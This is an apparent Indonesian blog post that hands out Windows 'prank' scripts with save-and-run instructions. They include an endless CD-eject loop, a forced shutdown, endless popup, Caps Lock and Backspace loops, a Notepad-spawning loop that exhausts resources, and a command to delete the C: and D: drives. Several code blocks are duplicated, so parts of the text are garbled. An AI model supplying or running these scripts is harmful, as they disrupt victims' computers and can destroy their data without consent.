1. Membuka dan menutup CD/DVD Komputer.
- Copy script di bawah ini.
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
- Save as dengan format.vbs dan jangan lupa merubah save as type dengan All File
2. Membuat Komputer Shutdown dengan muncul pesan.
- Copy script di bawah ini.
@echo off
msg * Harap tenang komputer anda akan mati heheheheh
shutdown -s -c “Komputer anda mati”
msg * Harap tenang komputer anda akan mati heheheheh
shutdown -s -c “Komputer anda mati”
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
- Copy script di bawah ini.
@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
- Copy script di bawah ini.
Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop
- Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File
- Copy kode di bawah
MsgBox “Kembali ke menu sebelumnya” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop
- Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File
- Copy kode di bawah
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
Untuk yang satu ini saya sarankan jangan coba-coba karena sangat mematikan dan dapat berakibat fatal
- Copy kode di bawah
DEL C: -Y DEL D: -Y
- Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File
- Semua script di atas akan berjalan jika sobat klik Pada file yang sobat ingin jalankan.
- jika ada sesuatu yang terjadi jangan salahkan saya,karena saya hanya memberikan sedikit ilmu yang saya miliki.
No comments:
Post a Comment